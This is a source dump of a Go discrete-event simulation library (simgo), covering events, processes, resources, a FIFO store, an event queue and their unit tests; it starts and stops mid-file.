} 114 | 115 | func TestAnyOfAllBecomingAborted(t *testing.T) { 116 | sim := simgo.NewSimulation() 117 | finished := false 118 | aborted := false 119 | 120 | sim.Process(func(proc simgo.Process) { 121 | ev1 := proc.Event() 122 | ev2 := proc.Event() 123 | 124 | anyOf := proc.AnyOf(ev1, ev2) 125 | 126 | // Add an abort handler to detect if anyOf gets aborted 127 | anyOf.AddAbortHandler(func(ev *simgo.Event) { 128 | aborted = true 129 | }) 130 | 131 | // In a separate process, abort both events 132 | proc.Process(func(proc2 simgo.Process) { 133 | proc2.Wait(proc2.Timeout(2)) 134 | ev1.Abort() 135 | ev2.Abort() 136 | }) 137 | 138 | // Wait for the anyOf event 139 | finished = true 140 | proc.Wait(anyOf) 141 | t.Error("process continued after waiting for aborted event") 142 | }) 143 | 144 | sim.Run() 145 | assertf(t, finished, "process did not start waiting") 146 | assertf(t, aborted, "anyOf event was not aborted when all events became aborted") 147 | } 148 | -------------------------------------------------------------------------------- /awaitable.go: -------------------------------------------------------------------------------- 1 | package simgo 2 | 3 | // Awaitable represents any awaitable thing like an event. 4 | type Awaitable interface { 5 | // Processed must return true when the event is processed. 6 | Processed() bool 7 | 8 | // Aborted must return true when the event is aborted. 9 | Aborted() bool 10 | 11 | // AddHandler must add the given normal handler. When the event is 12 | // processed, the normal handler must be called. 13 | AddHandler(handler Handler) 14 | 15 | // AddAbortHandler must add the given abort handler. When the event is 16 | // aborted, the abort handler must be called. 17 | AddAbortHandler(handler Handler) 18 | } 19 | -------------------------------------------------------------------------------- /event.go: -------------------------------------------------------------------------------- 1 | package simgo 2 | 3 | import "fmt" 4 | 5 | // state holds the state of an event. 6 | type state int 7 | 8 | const ( 9 | // The event has not yet been triggered or processed. This is the initial 10 | // state of a new event. 11 | pending state = iota 12 | 13 | // The event has been triggered and will be processed at the current 14 | // simulation time. 15 | triggered 16 | 17 | // The event has been processed. All normal handlers are currently being 18 | // called or have been called. 19 | processed 20 | 21 | // The event has been aborted. All abort handlers are currently being called 22 | // or have been called. 23 | aborted 24 | ) 25 | 26 | // Handler is either a normal handler or an abort handler, which is called 27 | // when an event is processed / aborted. The handler gets a pointer to the 28 | // relevant pointer, so one function can be used to handle multiple events 29 | // and distinguish between them. 30 | type Handler func(ev *Event) 31 | 32 | // Event is an event in a discrete-event simulation. The event does not contain 33 | // information about whether it is scheduled to be processed. 34 | // 35 | // To create a new event, use (*Simulation).Timeout, (*Simulation).Event, 36 | // (*Simulation).AnyOf, or (*Simulation).AllOf: 37 | // 38 | // ev1 := sim.Event() 39 | // ev2 := sim.Timeout(5) 40 | // ev3 := sim.AnyOf(ev1, ev2) 41 | // ev4 := sim.AllOf(ev1, ev2) 42 | type Event struct { 43 | // sim is used to schedule the event to be processed. 44 | sim *Simulation 45 | 46 | // state holds the state of the event. 47 | state state 48 | 49 | // handlers holds all normal handlers of the event. These handlers will be 50 | // called when the event is processed. 51 | handlers []Handler 52 | 53 | // handlers holds all abort handlers of the event. These handlers will be 54 | // called when the event is aborted. 55 | abortHandlers []Handler 56 | } 57 | 58 | // Trigger schedules the event to be processed immediately. This will call all 59 | // normal handlers of the event. 60 | // 61 | // If the event is not pending, it will not be scheduled. 62 | func (ev *Event) Trigger() bool { 63 | if !ev.Pending() { 64 | return false 65 | } 66 | 67 | ev.state = triggered 68 | ev.sim.schedule(ev, 0) 69 | return true 70 | } 71 | 72 | // TriggerDelayed schedules the event to be processed after the given delay. 73 | // This will call all normal handlers of the event. 74 | // 75 | // If the event is not pending, it will not be scheduled. 76 | // 77 | // Returns true if the event has been scheduled or false otherwise. Panics if 78 | // the given delay is negative. 79 | // 80 | // Note that an event can be triggered delayed multiple times, or triggered 81 | // immediately after it is already triggered delayed. The event will be 82 | // processed once at the earliest scheduled time. 83 | func (ev *Event) TriggerDelayed(delay float64) bool { 84 | if delay < 0 { 85 | panic(fmt.Sprintf("(*Event).TriggerDelayed: delay must not be negative: %f", delay)) 86 | } 87 | 88 | if !ev.Pending() { 89 | return false 90 | } 91 | 92 | ev.sim.schedule(ev, delay) 93 | 94 | return true 95 | } 96 | 97 | // Abort aborts the event and calls all abort handlers of the event. 98 | // 99 | // If the event is not pending, it will not be aborted. 100 | // 101 | // Returns true if the event has been aborted or false otherwise. 102 | // 103 | // TODO: Abort immediately calls it handlers, which leads to a growing call 104 | // stack. Instead, the processing could be scheduled similar to that of 105 | // (*Event).Trigger. 106 | func (ev *Event) Abort() bool { 107 | if !ev.Pending() { 108 | return false 109 | } 110 | 111 | ev.state = aborted 112 | 113 | for _, handler := range ev.abortHandlers { 114 | handler(ev) 115 | } 116 | 117 | // handlers will not be required again 118 | ev.handlers = nil 119 | ev.abortHandlers = nil 120 | 121 | return true 122 | } 123 | 124 | // Pending returns whether the event is pending. A pending event has not yet 125 | // been triggered or processed. This is the initial state of a new event. 126 | func (ev *Event) Pending() bool { 127 | return ev.state == pending 128 | } 129 | 130 | // Triggered returns whether the event has been triggered. A triggered event 131 | // will be processed at the current simulation time if it has not been processed 132 | // already. 133 | func (ev *Event) Triggered() bool { 134 | return ev.state == triggered || ev.Processed() 135 | } 136 | 137 | // Processed returns whether the event has been processed. All normal handlers 138 | // of a processed event are currently being called or have been called. 139 | func (ev *Event) Processed() bool { 140 | return ev.state == processed 141 | } 142 | 143 | // Aborted returns whether the event has been aborted. All abort handlers of an 144 | // aborted event are currently being called or have been called. 145 | func (ev *Event) Aborted() bool { 146 | return ev.state == aborted 147 | } 148 | 149 | // AddHandler adds the given handler as a normal handler to the event. The 150 | // handler will be called when the event is processed. 151 | // 152 | // If the event is already processed or aborted, the handler is not stored, 153 | // since it will never be called. 154 | func (ev *Event) AddHandler(handler Handler) { 155 | if ev.Processed() || ev.Aborted() { 156 | // event will not be processed (again), do not store handler 157 | return 158 | } 159 | 160 | ev.handlers = append(ev.handlers, handler) 161 | } 162 | 163 | // AddAbortHandler adds the given handler as an abort handler to the event. The 164 | // handler will be called when the event is aborted. 165 | // 166 | // If the event is already processed or aborted, the handler is not stored, 167 | // since it will never be called. 168 | func (ev *Event) AddAbortHandler(handler Handler) { 169 | if ev.Processed() || ev.Aborted() { 170 | // event will not be aborted (again), do not store handler 171 | return 172 | } 173 | 174 | ev.abortHandlers = append(ev.abortHandlers, handler) 175 | } 176 | 177 | // process processes the event and calls all normal handlers. 178 | // 179 | // If the event is already processed or aborted, it will not be processed. 180 | // 181 | // Returns true if the event has been processed or false otherwise. 182 | func (ev *Event) process() bool { 183 | if ev.Processed() || ev.Aborted() { 184 | return false 185 | } 186 | 187 | ev.state = processed 188 | 189 | for _, handler := range ev.handlers { 190 | handler(ev) 191 | } 192 | 193 | // handlers will not be required again 194 | ev.handlers = nil 195 | ev.abortHandlers = nil 196 | 197 | return true 198 | } 199 | -------------------------------------------------------------------------------- /event_test.go: -------------------------------------------------------------------------------- 1 | package simgo_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/polishedass/simgo" 7 | ) 8 | 9 | func TestTriggerDelayedNegative(t *testing.T) { 10 | defer func() { 11 | err := recover() 12 | assertf(t, err != nil, "err == nil") 13 | }() 14 | 15 | sim := simgo.NewSimulation() 16 | 17 | ev := sim.Event() 18 | ev.TriggerDelayed(-5) 19 | } 20 | 21 | func TestTriggerDelayedTriggered(t *testing.T) { 22 | sim := simgo.NewSimulation() 23 | finished := false 24 | 25 | sim.Process(func(proc simgo.Process) { 26 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 27 | ev := proc.Timeout(5) 28 | proc.Wait(ev) 29 | assertf(t, proc.Now() == 5, "proc.Now() == %f", proc.Now()) 30 | assertf(t, ev.TriggerDelayed(5) == false, "ev.TriggerDelayed(5) == true") 31 | finished = true 32 | }) 33 | 34 | sim.Run() 35 | assertf(t, finished == true, "finished == false") 36 | } 37 | 38 | func TestTrigger(t *testing.T) { 39 | sim := simgo.NewSimulation() 40 | 41 | ev := sim.Event() 42 | ev.Trigger() 43 | assertf(t, ev.Triggered() == true, "ev.Pending() == false") 44 | } 45 | 46 | func TestTriggerTriggered(t *testing.T) { 47 | sim := simgo.NewSimulation() 48 | 49 | ev := sim.Event() 50 | assertf(t, ev.Trigger() == true, "ev.Trigger() == false") 51 | assertf(t, ev.Trigger() == false, "ev.Trigger() == true") 52 | } 53 | 54 | func TestAbort(t *testing.T) { 55 | sim := simgo.NewSimulation() 56 | 57 | ev := sim.Event() 58 | ev.Abort() 59 | assertf(t, ev.Aborted() == true, "ev.Aborted() == false") 60 | } 61 | 62 | func TestAbortTriggered(t *testing.T) { 63 | sim := simgo.NewSimulation() 64 | 65 | ev := sim.Event() 66 | assertf(t, ev.Trigger() == true, "ev.Trigger() == false") 67 | assertf(t, ev.Triggered() == true, "ev.Triggered() == false") 68 | assertf(t, ev.Abort() == false, "ev.Abort() == true") 69 | assertf(t, ev.Aborted() == false, "ev.Aborted() == true") 70 | } 71 | -------------------------------------------------------------------------------- /eventqueue.go: -------------------------------------------------------------------------------- 1 | package simgo 2 | 3 | // queuedEvent is an event which is scheduled to be processed at a particular 4 | // time. 5 | type queuedEvent struct { 6 | // ev is the scheduled event. 7 | ev *Event 8 | 9 | // time is the time at which the event will be processed. 10 | time float64 11 | 12 | // id is an incremental ID to sort events scheduled at the same time by 13 | // insertion order. 14 | id uint64 15 | } 16 | 17 | // eventQueue holds all scheduled events for a discrete-event simulation. 18 | type eventQueue []queuedEvent 19 | 20 | // Len returns the number of scheduled events. 21 | func (eq eventQueue) Len() int { 22 | return len(eq) 23 | } 24 | 25 | // Less returns whether the event at position i is scheduled before the event 26 | // at position j. 27 | func (eq eventQueue) Less(i, j int) bool { 28 | if eq[i].time != eq[j].time { 29 | return eq[i].time < eq[j].time 30 | } 31 | 32 | return eq[i].id < eq[j].id 33 | } 34 | 35 | // Swap swaps the scheduled events at position i and j. 36 | func (eq eventQueue) Swap(i, j int) { 37 | eq[i], eq[j] = eq[j], eq[i] 38 | } 39 | 40 | // Push appends the given scheduled event at the back. 41 | func (eq *eventQueue) Push(item any) { 42 | *eq = append(*eq, item.(queuedEvent)) 43 | } 44 | 45 | // Pop removes and returns the scheduled event at the front. 46 | func (eq *eventQueue) Pop() any { 47 | n := len(*eq) 48 | item := (*eq)[n-1] 49 | *eq = (*eq)[:n-1] 50 | return item 51 | } 52 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/polishedass/simgo 2 | 3 | go 1.18 4 | -------------------------------------------------------------------------------- /process.go: -------------------------------------------------------------------------------- 1 | package simgo 2 | 3 | import "runtime" 4 | 5 | // Process is a process in a discrete-event simulation. 6 | // 7 | // A process can wait for events and other processes, create new events and 8 | // start new processes. 9 | // 10 | // To start a process, use (*Simulation).Process or 11 | // (*Simulation).ProcessReflect: 12 | // 13 | // func myProcess (proc simgo.Process) { 14 | // fmt.Println("Start") 15 | // proc.Wait(proc.Timeout(5)) 16 | // fmt.Println("End") 17 | // } 18 | // sim.Process(myProcess) 19 | // 20 | // Process encapsulates *Simulation, so all its methods can be used. 21 | type Process struct { 22 | // Simulation is used to generate timeouts and other events, and start new 23 | // processes. 24 | *Simulation 25 | 26 | // ev is triggered when the process finishes or aborted when the process is 27 | // aborted. 28 | ev *Event 29 | 30 | // sync is used to yield to the process / simulation and wait for the 31 | // process / simulation. 32 | sync chan bool 33 | } 34 | 35 | // Wait yields from the process to the simulation and waits until the given 36 | // awaitable is processed. 37 | // 38 | // If the awaitable is already processed, the process is not paused. If the 39 | // awaitable is aborted, the process is aborted too. 40 | func (proc Process) Wait(ev Awaitable) { 41 | if ev.Processed() { 42 | // event was already processed, do not wait 43 | return 44 | } 45 | 46 | if ev.Aborted() { 47 | // event aborted, abort process 48 | proc.ev.Abort() 49 | runtime.Goexit() 50 | } 51 | 52 | // handler called when the event is processed 53 | ev.AddHandler(func(*Event) { 54 | // yield to process 55 | proc.sync <- true 56 | 57 | // wait for process 58 | <-proc.sync 59 | }) 60 | 61 | // handler called when the event is aborted 62 | ev.AddAbortHandler(func(*Event) { 63 | // abort process 64 | proc.sync <- false 65 | 66 | // wait for process 67 | <-proc.sync 68 | }) 69 | 70 | // yield to simulation 71 | proc.sync <- true 72 | 73 | select { 74 | case processed := <-proc.sync: // wait for simulation 75 | if !processed { 76 | // event aborted, abort process 77 | proc.ev.Abort() 78 | runtime.Goexit() 79 | } 80 | 81 | case <-proc.shutdown: // wait for simulation shutdown 82 | runtime.Goexit() 83 | } 84 | } 85 | 86 | // Pending returns whether the underlying event is pending. 87 | func (proc Process) Pending() bool { 88 | return proc.ev.Pending() 89 | } 90 | 91 | // Triggered retrusn whether the underlying event is triggered. 92 | func (proc Process) Triggered() bool { 93 | return proc.ev.Triggered() 94 | } 95 | 96 | // Processed returns whether the underlying event is processed. 97 | func (proc Process) Processed() bool { 98 | return proc.ev.Processed() 99 | } 100 | 101 | // Aborted returns whether the underlying event is aborted. 102 | func (proc Process) Aborted() bool { 103 | return proc.ev.Aborted() 104 | } 105 | 106 | // AddHandler adds the given handler to the underlying event. 107 | func (proc Process) AddHandler(handler Handler) { 108 | proc.ev.AddHandler(handler) 109 | } 110 | 111 | // AddAbortHandler adds the given abort handler to the underlying event. 112 | func (proc Process) AddAbortHandler(handler Handler) { 113 | proc.ev.AddAbortHandler(handler) 114 | } 115 | -------------------------------------------------------------------------------- /process_test.go: -------------------------------------------------------------------------------- 1 | package simgo_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/polishedass/simgo" 7 | ) 8 | 9 | func TestWaitForProc(t *testing.T) { 10 | sim := simgo.NewSimulation() 11 | finished := 0 12 | 13 | proc1 := sim.Process(func(proc simgo.Process) { 14 | proc.Wait(proc.Timeout(5)) 15 | finished++ 16 | }) 17 | 18 | sim.Process(func(proc simgo.Process) { 19 | proc.Wait(proc1) 20 | assertf(t, proc.Now() == 5, "proc.Now() == %f", proc.Now()) 21 | finished++ 22 | }) 23 | 24 | sim.Run() 25 | assertf(t, finished == 2, "finished == %d", finished) 26 | } 27 | 28 | func TestWaitForProcessed(t *testing.T) { 29 | sim := simgo.NewSimulation() 30 | finished := false 31 | 32 | sim.Process(func(proc simgo.Process) { 33 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 34 | ev := proc.Timeout(5) 35 | proc.Wait(ev) 36 | assertf(t, proc.Now() == 5, "proc.Now() == %f", proc.Now()) 37 | proc.Wait(ev) 38 | assertf(t, proc.Now() == 5, "proc.Now() == %f", proc.Now()) 39 | finished = true 40 | }) 41 | 42 | sim.Run() 43 | assertf(t, finished == true, "finished == false") 44 | } 45 | 46 | func TestWaitForAborted(t *testing.T) { 47 | sim := simgo.NewSimulation() 48 | finished := false 49 | 50 | sim.Process(func(proc simgo.Process) { 51 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 52 | ev := proc.Event() 53 | ev.Abort() 54 | finished = true 55 | proc.Wait(ev) 56 | t.Error("Process was executed too far") 57 | }) 58 | 59 | sim.Run() 60 | assertf(t, finished == true, "finished == false") 61 | } -------------------------------------------------------------------------------- /resource.go: -------------------------------------------------------------------------------- 1 | package simgo 2 | 3 | // Resource can be used by a limited number of processes at a time. 4 | type Resource struct { 5 | // sim is the reference to the simulation. 6 | sim *Simulation 7 | 8 | // reqs holds the list of pending request events. 9 | reqs []*Event 10 | 11 | // available is the number of available instances. 12 | available int 13 | } 14 | 15 | // NewResource creates a resource for the given simulation with the given 16 | // number of available instances. 17 | func NewResource(sim *Simulation, available int) *Resource { 18 | return &Resource{sim: sim, available: available} 19 | } 20 | 21 | // Available returns the number of available instances of the resource. 22 | func (res *Resource) Available() int { 23 | return res.available 24 | } 25 | 26 | // Request requests an instance of the resource. 27 | func (res *Resource) Request() *Event { 28 | req := res.sim.Event() 29 | res.reqs = append(res.reqs, req) 30 | 31 | res.triggerRequests() 32 | 33 | return req 34 | } 35 | 36 | // Release releases an instance of the resource. 37 | func (res *Resource) Release() { 38 | res.available++ 39 | 40 | res.triggerRequests() 41 | } 42 | 43 | // triggerRequests triggers pending request events until no more instances are 44 | // available. 45 | func (res *Resource) triggerRequests() { 46 | for len(res.reqs) > 0 && res.available > 0 { 47 | req := res.reqs[0] 48 | res.reqs = res.reqs[1:] 49 | 50 | if !req.Trigger() { 51 | continue 52 | } 53 | 54 | res.available-- 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /resource_test.go: -------------------------------------------------------------------------------- 1 | package simgo 2 | 3 | import "testing" 4 | 5 | func TestResourceRequestRelease(t *testing.T) { 6 | sim := NewSimulation() 7 | res := NewResource(sim, 1) 8 | 9 | sim.Process(func(proc Process) { 10 | // resource is not empty, immediate request 11 | req_ev := res.Request() 12 | 13 | assertf(t, len(res.reqs) == 0, "len(res.reqs) == %d", len(res.reqs)) 14 | assertf(t, res.Available() == 0, "res.Available() == %d", res.Available()) 15 | assertf(t, req_ev.Triggered(), "req_ev.Triggered() == false") 16 | 17 | // resource is empty, request queued 18 | req_ev = res.Request() 19 | 20 | assertf(t, len(res.reqs) == 1, "len(res.reqs) == %d", len(res.reqs)) 21 | assertf(t, res.Available() == 0, "res.Available() == %d", res.Available()) 22 | assertf(t, !req_ev.Triggered(), "req_ev.Triggered() == true") 23 | 24 | res.Release() 25 | 26 | assertf(t, len(res.reqs) == 0, "len(res.reqs) == %d", len(res.reqs)) 27 | assertf(t, res.Available() == 0, "res.Available() == %d", res.Available()) 28 | assertf(t, req_ev.Triggered(), "req_ev.Triggered() == false") 29 | }) 30 | } 31 | -------------------------------------------------------------------------------- /simulation.go: -------------------------------------------------------------------------------- 1 | package simgo 2 | 3 | import ( 4 | "container/heap" 5 | "fmt" 6 | "reflect" 7 | "runtime" 8 | ) 9 | 10 | // Simulation runs a discrete-event simulation. To create a new simulation, use 11 | // NewSimulation(). 12 | type Simulation struct { 13 | // now holds the current simulation time. 14 | now float64 15 | 16 | // eq holds the event queue. 17 | eq eventQueue 18 | 19 | // nextID holds the next ID for scheduling a new event. 20 | nextID uint64 21 | 22 | // shutdown is used to shutdown all process goroutines of this simulation. 23 | shutdown chan struct{} 24 | } 25 | 26 | // NewSimulation creates a new simulation. 27 | func NewSimulation() *Simulation { 28 | return &Simulation{shutdown: make(chan struct{})} 29 | } 30 | 31 | // Now returns the current simulation time. 32 | func (sim *Simulation) Now() float64 { 33 | return sim.now 34 | } 35 | 36 | // Process starts a new process with the given runner. 37 | // 38 | // Creates and triggers an event. As soon as this event is processed, the 39 | // runner is executed. Whenever the runner waits for a pending event, it is 40 | // paused until the event is processed. 41 | // 42 | // It is ensured that only one process is executed at the same time. 43 | // 44 | // Returns the process. This can be used to wait for the process to finish. As 45 | // soon as the process finishes, the underlying event is triggered. 46 | func (sim *Simulation) Process(runner func(proc Process)) Process { 47 | proc := Process{ 48 | Simulation: sim, 49 | ev: sim.Event(), 50 | sync: make(chan bool), 51 | } 52 | 53 | // schedule an event to be processed immediately and add an handler which 54 | // is called when the event is processed 55 | ev := sim.Timeout(0) 56 | ev.AddHandler(func(*Event) { 57 | // yield to the process 58 | proc.sync <- true 59 | 60 | // wait for the process 61 | <-proc.sync 62 | }) 63 | 64 | go func() { 65 | // yield to the simulation at the end by closing 66 | defer close(proc.sync) 67 | 68 | // wait for the simulation 69 | <-proc.sync 70 | 71 | // execute the runner 72 | runner(proc) 73 | 74 | // process is finished trigger the underlying event 75 | proc.ev.Trigger() 76 | }() 77 | 78 | return proc 79 | } 80 | 81 | // ProcessReflect starts a new process with the given runner and the given 82 | // additional argument. This uses reflection. 83 | // 84 | // See (*Simulation).Process for further documentation. 85 | func (sim *Simulation) ProcessReflect(runner any, args ...any) Process { 86 | return sim.Process(func(proc Process) { 87 | reflectF := reflect.ValueOf(runner) 88 | reflectArgs := make([]reflect.Value, len(args)+1) 89 | reflectArgs[0] = reflect.ValueOf(proc) 90 | for i, arg := range args { 91 | expected := reflectF.Type().In(i + 1) 92 | reflectArgs[i+1] = reflect.ValueOf(arg).Convert(expected) 93 | } 94 | reflectF.Call(reflectArgs) 95 | }) 96 | } 97 | 98 | // Event creates and returns a pending event. 99 | func (sim *Simulation) Event() *Event { 100 | ev := &Event{sim: sim} 101 | runtime.SetFinalizer(ev, func(ev *Event) { 102 | ev.Abort() 103 | }) 104 | return ev 105 | } 106 | 107 | // Timeout creates and returns a pending event which is processed after the 108 | // given delay. Panics if the given delay is negative. 109 | func (sim *Simulation) Timeout(delay float64) *Event { 110 | if delay < 0 { 111 | panic(fmt.Sprintf("(*Simulation).Timeout: delay must not be negative: %f", delay)) 112 | } 113 | 114 | ev := sim.Event() 115 | ev.TriggerDelayed(delay) 116 | return ev 117 | } 118 | 119 | // Step sets the current simulation time to the scheduled time of the next event 120 | // in the event queue and processes the next event. Returns false if the event 121 | // queue was empty and no event was processed, true otherwise. 122 | func (sim *Simulation) Step() bool { 123 | if len(sim.eq) == 0 { 124 | return false 125 | } 126 | 127 | qe := heap.Pop(&sim.eq).(queuedEvent) 128 | sim.now = qe.time 129 | qe.ev.process() 130 | 131 | return true 132 | } 133 | 134 | // Run runs the simulation until the event queue is empty. 135 | func (sim *Simulation) Run() { 136 | for sim.Step() { 137 | } 138 | } 139 | 140 | // RunUntil runs the simulation until the event queue is empty or the next event 141 | // in the event queue is scheduled at or after the given target time. Sets the 142 | // current simulation time to the target time at the end. Panics if the given 143 | // target time is smaller than the current simulation time. 144 | func (sim *Simulation) RunUntil(target float64) { 145 | if target < sim.Now() { 146 | panic(fmt.Sprintf("(*Simulation).RunUntil: target must not be smaller than the current simulation time: %f < %f", target, sim.Now())) 147 | } 148 | 149 | for len(sim.eq) > 0 && sim.eq[0].time < target { 150 | sim.Step() 151 | } 152 | 153 | sim.now = target 154 | } 155 | 156 | // Shutdown shuts down all process goroutines of this simulation. 157 | func (sim *Simulation) Shutdown() { 158 | close(sim.shutdown) 159 | } 160 | 161 | // schedule schedules the given event to be processed after the given delay. 162 | // Adds the event to the event queue. 163 | func (sim *Simulation) schedule(ev *Event, delay float64) { 164 | heap.Push(&sim.eq, queuedEvent{ 165 | ev: ev, 166 | time: sim.Now() + delay, 167 | id: sim.nextID, 168 | }) 169 | sim.nextID++ 170 | } 171 | -------------------------------------------------------------------------------- /simulation_test.go: -------------------------------------------------------------------------------- 1 | package simgo_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/polishedass/simgo" 7 | ) 8 | 9 | func assertf(t *testing.T, condition bool, format string, args ...any) { 10 | t.Helper() 11 | if !condition { 12 | t.Errorf(format, args...) 13 | } 14 | } 15 | 16 | func TestRunUntil(t *testing.T) { 17 | sim := simgo.NewSimulation() 18 | finished := false 19 | 20 | sim.Process(func(proc simgo.Process) { 21 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 22 | proc.Wait(proc.Timeout(4)) 23 | assertf(t, proc.Now() == 4, "proc.Now() == %f", proc.Now()) 24 | finished = true 25 | proc.Wait(proc.Timeout(1)) 26 | t.Error("Simulation was executed too far") 27 | }) 28 | 29 | sim.RunUntil(5) 30 | assertf(t, finished == true, "finished == false") 31 | } 32 | 33 | func TestRunUntilNegative(t *testing.T) { 34 | defer func() { 35 | err := recover() 36 | assertf(t, err != nil, "err == nil") 37 | }() 38 | 39 | sim := simgo.NewSimulation() 40 | 41 | sim.RunUntil(-5) 42 | } 43 | 44 | func TestTimeoutNegative(t *testing.T) { 45 | defer func() { 46 | err := recover() 47 | assertf(t, err != nil, "err == nil") 48 | }() 49 | 50 | sim := simgo.NewSimulation() 51 | 52 | sim.Timeout(-5) 53 | } 54 | 55 | func TestTriggerTimeoutEarly(t *testing.T) { 56 | sim := simgo.NewSimulation() 57 | finished := false 58 | 59 | sim.Process(func(proc simgo.Process) { 60 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 61 | ev := proc.Timeout(5) 62 | ev.Trigger() 63 | proc.Wait(ev) 64 | assertf(t, proc.Now() == 0, "proc.Now() == %f", proc.Now()) 65 | finished = true 66 | }) 67 | 68 | sim.Run() 69 | assertf(t, finished == true, "finished == false") 70 | } 71 | -------------------------------------------------------------------------------- /store.go: -------------------------------------------------------------------------------- 1 | package simgo 2 | 3 | import ( 4 | "math" 5 | ) 6 | 7 | // Store is a resource for storing objects. The objects are put and retrieved 8 | // from the store in a first-in first-out order. 9 | type Store[T any] struct { 10 | // sim is the reference to the simulation. 11 | sim *Simulation 12 | 13 | // gets holds the list of pending get events. 14 | gets []*GetEvent[T] 15 | 16 | // puts holds the list of pending put events. 17 | puts []*PutEvent[T] 18 | 19 | // items holds the items currently in the store. 20 | items []T 21 | 22 | // capacity is the maximum number of items in the store. 23 | capacity int 24 | } 25 | 26 | // GetEvent is the event returned from (*Store).Get. 27 | type GetEvent[T any] struct { 28 | // Event is the underlying event. 29 | *Event 30 | 31 | // Item holds the item retrieved from the store after the underlying event is 32 | // triggered. 33 | Item T 34 | } 35 | 36 | // PutEvent is the returned from (*Store).Put. 37 | type PutEvent[T any] struct { 38 | // Event is the underlying event. 39 | *Event 40 | 41 | // item holds the item to be returned to the store. 42 | item T 43 | } 44 | 45 | // NewStore creates a store for the given simulation with an unlimited capacity. 46 | func NewStore[T any](sim *Simulation) *Store[T] { 47 | return NewStoreWithCapacity[T](sim, math.MaxInt) 48 | } 49 | 50 | // NewStoreWithCapacity crates a store for the given simulation with the given 51 | // capacity. 52 | func NewStoreWithCapacity[T any](sim *Simulation, capacity int) *Store[T] { 53 | if capacity <= 0 { 54 | panic("NewStoreWithCapacity: capacity must be > 0") 55 | } 56 | 57 | return &Store[T]{sim: sim, capacity: capacity} 58 | } 59 | 60 | // Capacity returns the capacity of the store. 61 | func (store *Store[T]) Capacity() int { 62 | return store.capacity 63 | } 64 | 65 | // Available returns the number of items currently in the store. 66 | func (store *Store[T]) Available() int { 67 | return len(store.items) 68 | } 69 | 70 | // Get returns an event that is triggered when an item is retrieved from the 71 | // store, which may be immediately. 72 | func (store *Store[T]) Get() *GetEvent[T] { 73 | ev := &GetEvent[T]{Event: store.sim.Event()} 74 | ev.AddHandler(func(*Event) { 75 | // the store has one less item, so check whether any pending puts can be 76 | // triggered. 77 | store.triggerPuts() 78 | }) 79 | 80 | store.gets = append(store.gets, ev) 81 | store.triggerGets() 82 | 83 | return ev 84 | } 85 | 86 | // Put returns an event that is triggered when the given item is returned to the 87 | // store, which may be immediately. 88 | func (store *Store[T]) Put(item T) *PutEvent[T] { 89 | ev := &PutEvent[T]{Event: store.sim.Event(), item: item} 90 | ev.AddHandler(func(*Event) { 91 | // the store has one more item, so check whether any pending gets can be 92 | // triggered 93 | store.triggerGets() 94 | }) 95 | 96 | store.puts = append(store.puts, ev) 97 | store.triggerPuts() 98 | 99 | return ev 100 | } 101 | 102 | // triggerGets triggers pending get events until the store is empty. 103 | // left in the store. 104 | func (store *Store[T]) triggerGets() { 105 | for len(store.gets) > 0 && len(store.items) > 0 { 106 | get := store.gets[0] 107 | store.gets = store.gets[1:] 108 | 109 | if !get.Trigger() { 110 | continue 111 | } 112 | 113 | item := store.items[0] 114 | store.items = store.items[1:] 115 | 116 | get.Item = item 117 | } 118 | } 119 | 120 | // triggerPuts triggers pending put events until the store is full. 121 | func (store *Store[T]) triggerPuts() { 122 | for len(store.puts) > 0 && len(store.items) < store.Capacity() { 123 | put := store.puts[0] 124 | store.puts = store.puts[1:] 125 | 126 | if !put.Trigger() { 127 | continue 128 | } 129 | 130 | store.items = append(store.items, put.item) 131 | } 132 | } 133 | -------------------------------------------------------------------------------- /store_test.go: -------------------------------------------------------------------------------- 1 | package simgo 2 | 3 | import "testing" 4 | 5 | func assertf(t *testing.T, condition bool, format string, args ...any) { 6 | t.Helper() 7 | if !condition { 8 | t.Errorf(format, args...) 9 | } 10 | } 11 | 12 | func TestStoreCapacityZero(t *testing.T) { 13 | defer func() { 14 | if r := recover(); r == nil { 15 | t.Error("NewStoreWithCapacity did not panic with a capacity of 0") 16 | } 17 | }() 18 | 19 | sim := NewSimulation() 20 | NewStoreWithCapacity[int](sim, 0) 21 | } 22 | 23 | func TestStoreCapacityPut(t *testing.T) { 24 | sim := NewSimulation() 25 | capacity := 2 26 | store := NewStoreWithCapacity[int](sim, capacity) 27 | 28 | sim.Process(func(proc Process) { 29 | for i := 0; i <= capacity; i++ { 30 | store.Put(i) 31 | } 32 | }) 33 | 34 | sim.Run() 35 | assertf(t, store.Capacity() == capacity, "store.Capacity() == %d", store.Capacity()) 36 | assertf(t, store.Available() == capacity, "store.Available() == %d", store.Available()) 37 | } 38 | 39 | func TestStoreImmediatePut(t *testing.T) { 40 | sim := NewSimulation() 41 | store := NewStoreWithCapacity[int](sim, 1) 42 | finished := false 43 | 44 | sim.Process(func(proc Process) { 45 | // store is not full, immediate put request 46 | put_ev := store.Put(0) 47 | 48 | assertf(t, len(store.gets) == 0, "len(store.gets) == %d", len(store.gets)) 49 | assertf(t, len(store.puts) == 0, "len(store.puts) == %d", len(store.puts)) 50 | assertf(t, store.Available() == 1, "store.Available() == %d", store.Available()) 51 | assertf(t, put_ev.Triggered(), "put_ev.Triggered() == false") 52 | 53 | // store is not empty, immediate get request 54 | get_ev := store.Get() 55 | 56 | assertf(t, len(store.gets) == 0, "len(store.gets) == %d", len(store.gets)) 57 | assertf(t, len(store.puts) == 0, "len(store.puts) == %d", len(store.puts)) 58 | assertf(t, store.Available() == 0, "store.Available() == %d", store.Available()) 59 | assertf(t, get_ev.Triggered(), "get_ev.Triggered() == false") 60 | 61 | // store is empty, get request queued 62 | get_ev = store.Get() 63 | 64 | assertf(t, len(store.gets) == 1, "len(store.gets) == %d", len(store.gets)) 65 | assertf(t, len(store.puts) == 0, "len(store.puts) == %d", len(store.puts)) 66 | assertf(t, store.Available() == 0, "store.Available() == %d", store.Available()) 67 | 